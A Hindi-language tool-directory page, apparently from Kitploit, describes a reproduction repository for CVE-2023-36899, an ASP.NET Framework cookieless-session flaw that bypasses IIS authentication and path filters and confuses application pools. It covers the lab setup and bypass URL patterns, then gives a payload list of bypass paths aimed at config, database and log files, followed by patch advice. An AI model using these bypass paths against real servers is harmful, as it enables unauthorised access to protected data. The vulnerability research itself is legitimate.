Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-36899 — CVE-2023-36899 भेद्यता के पुनरुत्पादन वातावरण और उपकरण, जो ASP.NET फ्रेमवर्क में कुकी-रहित सत्र प्रमाणीकरण बायपास को लक्षित करते हैं। | Kitploit
उपकरण/GitHubGitHub/midisec/cve-2023-36899
प्रमाणीकरण और प्राधिकरणभेद्यता विश्लेषणशोषणआईडीएस/आईपीएस से बचनावेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubmidisec/cve-2023-36899

CVE-2023-36899

CVE-2023-36899 भेद्यता के पुनरुत्पादन वातावरण और उपकरण, जो ASP.NET फ्रेमवर्क में कुकी-रहित सत्र प्रमाणीकरण बायपास को लक्षित करते हैं।

रिपॉजिटरी देखें
3353 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-36899

CVE-2023-36899 कमज़ोरी के लिए पुनरुत्पादन वातावरण और उपकरण, ASP.NET फ्रेमवर्क में कुकी-रहित सत्र प्रमाणीकरण बाईपास के लिए।

Cookieless DuoDrop: ASP.NET फ्रेमवर्क में IIS Auth Bypass और App Pool Privesc (CVE-2023-36899)

आधुनिक वेब विकास में, हालाँकि सत्र ID संचारित करने के लिए कुकीज़ पसंदीदा तरीका हैं, .NET फ्रेमवर्क एक विकल्प भी प्रदान करता है: सत्र ID को सीधे URL में एन्कोड करना। इस तकनीक को .NET फ्रेमवर्क में "कुकी-रहित" (cookieless) सुविधा कहा जाता है। कई डेवलपर्स और सुरक्षा परीक्षक इस विकल्प को अनदेखा कर देते हैं, क्योंकि यह वास्तविक अनुप्रयोगों में दुर्लभ है। हालाँकि, यह क्लाइंट-साइड कमज़ोरियों जैसे सत्र फिक्सेशन, सत्र हाइजैकिंग, HTML इंजेक्शन और क्रॉस-साइट स्क्रिप्टिंग की खोज के लिए एक खज़ाना बन गया है। इसके अलावा, इस सुविधा का दुरुपयोग उन पथ-आधारित फ़ायरवॉल नियमों को बायपास करने के लिए किया जा सकता है जिन्हें कुकी-रहित विधि को पहचानने के लिए कॉन्फ़िगर नहीं किया गया है। अंतर्निहित सुरक्षा समस्याओं के कारण, .NET Core और बाद के .NET संस्करणों ने कुकी-रहित सुविधा को हटा दिया है। लेकिन हम उन असंख्य वेब अनुप्रयोगों को नहीं भूल सकते जो अभी भी क्लासिक .NET फ्रेमवर्क का उपयोग कर रहे हैं।

मुख्य बिंदु:

  1. .NET फ्रेमवर्क की कुकी-रहित सुविधा का दुरुपयोग संरक्षित निर्देशिकाओं या IIS के URL फ़िल्टर द्वारा अवरुद्ध निर्देशिकाओं तक पहुँचने के लिए किया जा सकता है।
  2. कुकी-रहित सुविधा का उपयोग करके, IIS के प्रमाणीकरण या फ़िल्टरिंग जाँचों को बायपास किया जा सकता है।
  3. एक अन्य समस्या IIS द्वारा एप्लिकेशन पूल के प्रबंधन से संबंधित है, जो विशेषाधिकार वृद्धि या सुरक्षा बाईपास का कारण बन सकती है।
  4. .NET फ्रेमवर्क की कुकी-रहित सुविधा के माध्यम से, IIS एप्लिकेशन को अपने स्वयं के एप्लिकेशन पूल के बजाय अपने मूल (पैरेंट) एप्लिकेशन पूल का उपयोग करके चलाने के लिए बाध्य किया जा सकता है।

कमज़ोरी विवरण:

1. IIS प्रतिबंधित पथ बाईपास

.NET फ्रेमवर्क की कुकी-रहित सुविधा का दुरुपयोग संरक्षित निर्देशिकाओं या IIS के URL फ़िल्टर द्वारा अवरुद्ध निर्देशिकाओं तक पहुँचने के लिए किया जा सकता है। उदाहरण के लिए, victim.com वेबसाइट पर निम्नलिखित स्थिति पर विचार करें:

  • /protected/ निर्देशिका में स्थित पृष्ठ: /webform/protected/target1.aspx, जो इस निर्देशिका पर मूल प्रमाणीकरण (बेसिक ऑथेंटिकेशन) लागू करता है।
  • अस्थायी रूप से /bin/ फ़ोल्डर में ले जाया गया पृष्ठ: /webform/bin/target2.aspx, जिससे यह पहुँच से बाहर हो गया है।

सामान्य रूप से, इन URL के माध्यम से पृष्ठों तक पहुँचने का प्रयास IIS में अवरुद्ध कर दिया जाएगा:

  • http://10.0.2.15:8080/webform/protected/target1.aspx
  • http://10.0.2.15:8080/webform/bin/target2.aspx

लेकिन, कुकी-रहित सुविधा का उपयोग करके निम्नलिखित पैटर्न के माध्यम से इन पृष्ठों तक पहुँचा जा सकता है:

  • http://10.0.2.15:8080/webform/(S(X))/prot/(S(X))ected/target1.aspx
  • http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target2.aspx

2. एप्लिकेशन पूल भ्रम

IIS द्वारा एप्लिकेशन पूल का प्रबंधन किस प्रकार किया जाता है, इससे विशेषाधिकार वृद्धि या सुरक्षा बाईपास हो सकता है। .NET फ्रेमवर्क की कुकी-रहित सुविधा में हेरफेर करके IIS एप्लिकेशन को अपने स्वयं के एप्लिकेशन पूल के बजाय अपने मूल एप्लिकेशन पूल का उपयोग करके चलाने के लिए बाध्य किया जा सकता है। उदाहरण के लिए:

  • वेबसाइट का मूल (/) DefaultAppPool एप्लिकेशन पूल के साथ चलता है।
  • /classic/ एप्लिकेशन .NET v4.5 Classic एप्लिकेशन पूल का उपयोग करता है।
  • /classic/nodotnet/ एप्लिकेशन NoManagedCodeClassic एप्लिकेशन पूल का उपयोग करता है, जो प्रबंधित कोड का समर्थन नहीं करता है।

AppPoolPrint.aspx नामक एक C# फ़ाइल उपरोक्त सभी एप्लिकेशनों में पहुँच योग्य है, और वर्तमान एप्लिकेशन पूल का नाम प्रदर्शित करती है। कुकी-रहित सुविधा का दो बार उपयोग करके, हम इस पृष्ठ को उसके मूल एप्लिकेशन पूल के साथ चला सकते हैं:

  • /(S(X))/(S(X))/classic/AppPoolPrint.aspx -> DefaultAppPool
  • /(S(X))/(S(X))/classic/nodotnet/AppPoolPrint.aspx -> DefaultAppPool
  • /classic/(S(X))/(S(X))/nodotnet/AppPoolPrint.aspx -> .NET v4.5 Classic

यह /classic/nodotnet/ में पृष्ठों को भी (जिन्हें प्रबंधित कोड नहीं चलाना चाहिए) अपने मूल एप्लिकेशन पूल का उपयोग करके ASPX पृष्ठ चलाने की अनुमति देता है। यह व्यवहार IIS पर विशेषाधिकार वृद्धि का कारण बन सकता है।

कमज़ोरी पुनरुत्पादन:

1. वातावरण तैयार करना:

  • ऑपरेटिंग सिस्टम: Windows Server का कोई संस्करण स्थापित करें, जैसे Windows Server 2016 या 2019।
  • वेब सर्वर: Internet Information Services (IIS) स्थापित करें।
  • विकास फ्रेमवर्क: .NET फ्रेमवर्क स्थापित करें (.NET Core या .NET 5+ नहीं)।

IIS स्थापित करते समय चुनें:

  • वेब सर्वर:
    • सामान्य HTTP सुविधाएँ:
      • स्थिर सामग्री (Static Content)
      • डिफ़ॉल्ट दस्तावेज़ (Default Document)
      • निर्देशिका ब्राउज़िंग (Directory Browsing)
      • HTTP त्रुटियाँ (HTTP Errors)
    • एप्लिकेशन विकास:
      • .NET Extensibility (आपके .NET फ्रेमवर्क संस्करण के अनुरूप: 4.5)
      • ASP.NET (आपके .NET फ्रेमवर्क संस्करण के अनुरूप: 4.5)
      • ISAPI एक्सटेंशन
      • ISAPI फ़िल्टर
  • स्वास्थ्य और निदान:
    • HTTP लॉगिंग
    • अनुरोध निगरानी (Request Monitoring)
    • लॉगिंग उपकरण
  • सुरक्षा:
    • अनुरोध फ़िल्टरिंग (Request Filtering)
    • मूल प्रमाणीकरण (Basic Authentication)
    • Windows प्रमाणीकरण

2. IIS कॉन्फ़िगर करना:

  1. IIS प्रबंधक खोलें।
  2. एक नई वेब साइट बनाएँ।
  3. नई साइट में, कुछ निर्देशिकाएँ बनाएँ, जैसे /webform, /webform/protected, और /webform/bin।
  4. /protected/ निर्देशिका में, मूल प्रमाणीकरण (बेसिक ऑथेंटिकेशन) सेट करें।
  5. /webform/bin/target.aspx पृष्ठ को /bin/ फ़ोल्डर में ले जाएँ, ताकि यह सीधे पहुँच योग्य न रहे। (bin निर्देशिका IIS में डिफ़ॉल्ट रूप से पहुँच की अनुमति नहीं देती, क्योंकि इसमें संवेदनशील संकलित प्रोग्राम होते हैं)

3. परीक्षण पृष्ठ बनाना:

  1. /webform/protected/ निर्देशिका में, target.aspx नामक एक पृष्ठ बनाएँ।
  2. /webform/bin/ निर्देशिका में, target.aspx नामक एक पृष्ठ बनाएँ।
  3. प्रत्येक एप्लिकेशन में, AppPoolPrint.aspx नामक एक पृष्ठ बनाएँ, जो वर्तमान एप्लिकेशन पूल का नाम प्रदर्शित कर सके।

target.aspx फ़ाइल परीक्षण सामग्री:

root@kitploit:~
<%@ Page Language="C#" %>
    <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ASPX Test</title>
</head>
<body>
    This is a static text. <br>
    Dynamic text: <%= DateTime.Now.ToString() %>
        </body>
</html>

रूट निर्देशिका में web.config फ़ाइल परीक्षण सामग्री:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.web>
        <compilation debug="true" targetFramework="4.5" />
        <httpRuntime targetFramework="4.5" />
        <sessionState mode="InProc" cookieless="UseCookies" />
    </system.web>
</configuration>

इसमें का अर्थ है कि वेबसाइट कुछ डिफ़ॉल्ट सत्र जानकारी आदि संग्रहीत करने के लिए कुकीज़ का उपयोग करती है, और यह डिफ़ॉल्ट भी यही है

4. कमज़ोरी पुनरुत्पादन:

  1. /webform/protected/target.aspx और /webform/bin/target.aspx पृष्ठों को सीधे एक्सेस करने का प्रयास करें। आपको अवरुद्ध किया जाना चाहिए या प्रमाणीकरण के लिए कहा जाना चाहिए।

2023-08-16 06-25-21屏幕截图.png

http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx का उपयोग करके सफलतापूर्वक पहुँचें 2023-08-16 06-33-20屏幕截图.png

  1. कुकी-रहित सुविधा का उपयोग करके इन पृष्ठों तक पहुँचने का प्रयास करें, उदाहरण के लिए:
    • https://yourserver/webform/(S(X))/prot/(S(X))ected/target.aspx
    • https://yourserver/webform/(S(X))/b/(S(X))in/target.aspx आपको प्रमाणीकरण या फ़िल्टर को बायपास करके इन पृष्ठों तक पहुँचने में सक्षम होना चाहिए।

सुधार सुझाव

  1. WAF पर /S(X)) विशेषता को ब्लॉक करें
  2. सर्वर पर संबंधित पैच स्थापित करें https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899

संभावित payload सूची:

root@kitploit:~
/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....

संदर्भ:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899

टूल डाउनलोड करें